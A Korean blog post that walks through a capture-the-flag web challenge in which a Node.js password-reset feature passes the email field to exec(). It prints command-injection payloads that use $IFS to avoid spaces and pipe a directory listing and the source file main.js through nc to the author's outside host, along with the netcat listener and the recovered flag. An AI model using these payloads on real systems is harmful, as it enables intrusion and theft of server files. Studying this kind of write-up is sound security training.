[white hacking] 화이트 해킹대회 MMMMYYYYYYYYY PPPPAAAASSSWWWOOORRRDDD!!!!!!(150 points)
Node.js 코드가 주어지고 사이트에 접근 할 수 있는 주소가 주어진다.
주소로 들어가보면 간단하게 회원가입을 할 수 있고 패스워드를 찾을 수 있는 페이지 가 존재한다.
패스워드를 찾아주는 곳에 아이디를 넣고 전송을 누르면 [인증 코드]가 메일로 오는 것을 확인 할 수 있었다.
주어진 Node.js 소스코드를 보니 E-mail이 오는 부분을 확인 할 수 있었는데, mail 이라는 명령어를 exec()를 사용하여 이메일을 보내는 것을 확인 할 수 있었고, 이를 보면 email 안에 특정 명령어를 같이 실행 시켜서 값을 찾아내야 했다.
메일에 어떠한 문자열들이 허가 되는지 부터 살펴보면 아래코드와 같다.
아래 문자열과 더불어 띄어쓰기도 되지 않았다.
function validateEmail(email) {
return /^(?:[\w\!\#\ \$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+\.)*[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+@(?:(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!\.)){0,61}[a-zA-Z0-9]?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!$)){0,61}[a-zA-Z0-9]?)|(?:\[(?:(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\.){3}(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\]))$/.test(email);
}
대충 사용 할 수 있는 문자열은 아래와 같다.
|, a-z , 0-9 , $ , & , . , { , } ' 정도였다.
띄어쓰기 문제가 가장 컸는데, 환경변수에 띄어쓰기가 있는 것을 찾았다.
IFS 환경변수
IFS 변수는 도스에서는 사용하지 않는 변수이다. 이것은
사용자의 명령행중 공백 구분자를 표시하는 것으로 디폴
트 값은 ' ' 이다. 즉, IFS 환경변수가 디폴트로 설정되
어 있는 경우, 다음과 같은 형태로 명령을 내리는 것이
가능하다.
[myserver]
#nc -lvp 8888
[회원가입->패스워드 찾기]
&&ls'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com //어떠한 파일들이 있는지 검사
&&cat$IFS'main.js'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com //main.js를 내서버로 보냄
[main.js 파일안에 flag가 있다 ]
if (users[email] == pass) {
if (email == 'admin@beollejavi.kr')
res.end(JSON.stringify({'code': 0, 'id': email, 'msg': 'Contgrats! flag: WHC793b5f3b55d99590fc1a7ebc1654f66b'}));
key file : WHC793b5f3b55d99590fc1a7ebc1654f66b
'Web_Hacking' 카테고리의 다른 글
php mail function php injection (0) | 2014.11.08 |
---|---|
파일내에 exec 계열 함수 사용 여부 (내용으로검색) (0) | 2013.10.05 |
[White Hacking] Serial2 web(150 point) Write-up (0) | 2013.09.15 |
블라인드 인젝터 미리 코딩... (0) | 2013.06.10 |
크로스 사이트 스크립트 치트시트 (XSS Cheat sheet) (0) | 2013.01.23 |